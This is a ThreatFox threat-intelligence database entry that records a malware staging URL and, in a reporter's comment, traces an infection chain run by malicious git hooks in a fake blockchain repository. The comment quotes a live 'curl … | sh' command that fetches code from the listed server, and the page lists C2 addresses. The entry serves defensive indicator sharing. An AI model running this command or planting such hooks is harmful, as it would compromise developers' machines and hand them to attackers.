🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for url http://84.200.33.163/302/302l.

Database Entry

Add tag Delete this IOC  Report False Positive Export IOC (JSON)    Export IOC (CSV)
IOC ID:1943052
IOC: http://84.200.33.163/302/302l
IOC Type :url
Threat Type :payload_delivery
Malware: ContagiousDrop
Confidence Level : Confidence level is high (100%)
Is compromised? : False
ASN:AS44066 DE-FIRSTCOLO
Country:- DE
First seen:2026-09-30 19:00:52 UTC
Last seen:never
UUID:fbf6ef85-bcf5-11f1-a463-42010aa4000a
Reporter Anonymous
Reward 5 credits from ThreatFox
Tags:BSC ContagiousInterview git-hook NodeJS TRON XCTDH

Avatar
Anonymous
Staging server fetched by malicious git hooks; 302m/302l/302w = per-OS stage 1, tokenlinux.sh = Node installer, parser.js = TRON->BSC dead-drop loader. Live 2026-09-30, files dated 2026-09-14. Also submitted to URLhaus. Chain: malicious .git/hooks (post-checkout/pre-commit/pre-push) in fake 'Buzzol' blockchain repo (renamed Corda 4.15) sent to a developer -> curl http://84.200.33.163/302/302{m,l,w} | sh -> ~/.task/tokenlinux.sh -> Node 20.11.1 + parser.js -> TRON wallet TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs (tx f1d8f489ea6ac58d954d3a9bbbf3c8032ae56547640ad371b2fe0eec949ae661, 2026-09-29) -> BSC tx 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770 (from 0x1f9eeaf3ebf612983e729b57c270cfdd90ef44dc) -> decrypted stage 4 -> C2 104.234.94.198:1144 / 107.182.130.226:1144.